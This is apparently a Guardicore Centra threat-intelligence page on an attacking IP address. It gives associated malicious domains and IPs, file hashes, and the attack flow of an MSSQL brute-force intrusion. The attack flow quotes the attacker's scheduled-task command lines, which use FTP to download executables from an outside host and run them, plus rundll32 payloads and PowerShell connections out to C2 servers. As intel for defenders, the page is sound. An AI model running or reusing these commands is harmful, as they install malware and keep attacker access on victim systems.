IP Address: 218.197.97.59Malicious

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IP Address:
218.197.97.59​
Malicious

This IP address attempted an attack on a machine protected by Guardicore Centra

Threat Information

Role

Attacker, Scanner

Services Targeted

MSSQL

Tags

Service Configuration Scheduled Task Creation IDS - Attempted User Privilege Gain PowerShell Download and Execute Successful MSSQL Login CMD System File Modification Drop MsSql Table File Operation By CMD MSSQL Null Session Login Access Suspicious Domain MSSQL Brute Force Outgoing Connection MSSQL Service Start Create MsSql Procedure Listening

Associated Attack Servers

gamesoxalic.com down.1226bye.pw js.1226bye.xyz yancy.pw js.1226bye.pw

173.247.239.186 185.112.156.92 66.117.6.174 172.83.155.170 199.168.100.74 23.236.69.114 167.88.180.175

Basic Information

IP Address

218.197.97.59

Domain

-

ISP

China Education and Research Network Center

Country

China

WHOIS

Created Date

-

Updated Date

-

Organization

-

First seen in Guardicore Centra

2019-10-08

Last seen in Guardicore Centra

2020-08-15

What is Guardicore Centra
Guardicore Centra is a data center and cloud security solution that protects the organization's core assets, using flexible, quickly deployed and easy to understand micro-segmentation controls. Centra generates in-context security incidents, with details on attacker tools and techniques, that help IR teams prioritize incident investigation and reduce dwell time. Learn More

Attack Flow

A user logged in using MSSQL with the following credentials: sa / ****** - Authentication policy: White List (Part of a Brute Force Attempt)

Successful MSSQL Login MSSQL Brute Force

MSSQL procedures were created: sp_addextendedproc , sp_addlogin and sp_password

Create MsSql Procedure

IDS detected Attempted User Privilege Gain : sp_password - password change

IDS - Attempted User Privilege Gain

IDS detected Attempted User Privilege Gain : xp_reg* - registry access

IDS - Attempted User Privilege Gain

IDS detected Attempted User Privilege Gain : xp_cmdshell - program execution

IDS - Attempted User Privilege Gain

IDS detected Attempted User Privilege Gain : SQL sp_configure - configuration change

IDS - Attempted User Privilege Gain

MSSQL tables were dropped: #A1E8A56F and #A3D0EDE1

Drop MsSql Table

IDS detected Attempted User Privilege Gain : sp_start_job - program execution

IDS - Attempted User Privilege Gain

The file C:\Windows\Temp\conhost.exe was downloaded and executed

Download and Execute

System file C:\Windows\AppCompat\Programs\Amcache.hve was modified 4 times

System File Modification

The command line cmd /c echo open ftp.ftp1202.site>s&echo test>>s&echo 1433>>s&echo binary>>s&echo get a.exe c:\windows\update.exe>>s&echo bye>>s&ftp -s:s&c:\windows\update.exe was scheduled to run by modifying C:\Windows\System32\Tasks\Mysa

The command line rundll32.exe c:\windows\debug\item.dat,ServiceMain aaaa was scheduled to run by modifying C:\Windows\System32\Tasks\Mysa1

The command line cmd /c echo open ftp.ftp1202.site>p&echo test>>p&echo 1433>>p&echo get s.dat c:\windows\debug\item.dat>>p&echo bye>>p&ftp -s:p was scheduled to run by modifying C:\Windows\System32\Tasks\Mysa2

The command line cmd /c echo open ftp.ftp1202.site>ps&echo test>>ps&echo 1433>>ps&echo get s.rar c:\windows\help\lsmosee.exe>>ps&echo bye>>ps&ftp -s:ps&c:\windows\help\lsmosee.exe was scheduled to run by modifying C:\Windows\System32\Tasks\Mysa3

The command line rundll32.exe c:\windows\debug\ok.dat,ServiceMain aaaa was scheduled to run by modifying C:\Windows\System32\Tasks\ok

Process c:\windows\syswow64\windowspowershell\v1.0\powershell.exe generated outgoing network traffic to: 167.88.180.175:8175 and 172.83.155.170:8170

Outgoing Connection

Service msiserver was started

Service Start

The command line cmd /c start c:\windows\inf\aspnet\lsma12.exe was scheduled to run by modifying C:\Windows\System32\Tasks\oka

Process c:\windows\syswow64\windowspowershell\v1.0\powershell.exe generated outgoing network traffic to: 167.88.180.175:8175, 173.247.239.186:8186 and 199.168.100.74:8074

Outgoing Connection

Process c:\windows\syswow64\windowspowershell\v1.0\powershell.exe attempted to access suspicious domains: yancy.pw

Access Suspicious Domain Outgoing Connection

The file C:\Windows\Inf\aspnet\lsma12.exe was downloaded and executed 2 times

Download and Execute

Process c:\windows\syswow64\wbem\wmic.exe started listening on ports: 32832

Process c:\windows\inf\aspnet\lsma12.exe started listening on ports: 32832

Listening

Service WdiSystemHost was started

Service Start

The file C:\Windows\Inf\winnts.exe was downloaded and executed

Download and Execute

The file C:\Windows\Inf\aspnet\u.exe was downloaded and executed

Download and Execute

Process c:\windows\inf\aspnet\u.exe generated outgoing network traffic to: 23.236.69.114:8114

Outgoing Connection

The command line c:\windows\system\my1.bat was scheduled to run by modifying C:\Windows\Tasks\my1.job

The command line c:\windows\system\my1.bat was scheduled to run by modifying C:\Windows\System32\Tasks\my1

Connection was closed due to timeout

Associated Files

C:\Windows\SysWOW64\wpcap.dll

SHA256: b967e4dce952f9232592e4c1753516081438702a53424005642700522055dbc9

282360 bytes

C:\Windows\SysWOW64\npptools.dll

SHA256: 366b77df76729d08687051c1ec4b718ba1d650bca5b16eb15ec5c11570d6ff16

48128 bytes

C:\Windows\System\msinfo.exe

SHA256: 0ec4653e8322a95a6999cf4dc636d691de9d1a9c2cb383296335923405b77b12

6032384 bytes

C:\Windows\System\down.exe

SHA256: c269441ca155758378b6db525bf607ee3ece7c41470963b1a73372fab6aeee40

302510 bytes

C:\Windows\Inf\msiefsaa.exe

SHA256: 35922c566e1ea2926f87d477d2cce736bd1b6a397d89e5cf4b99ba29eae6266a

302510 bytes

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IP Address: 218.197.97.59​Malicious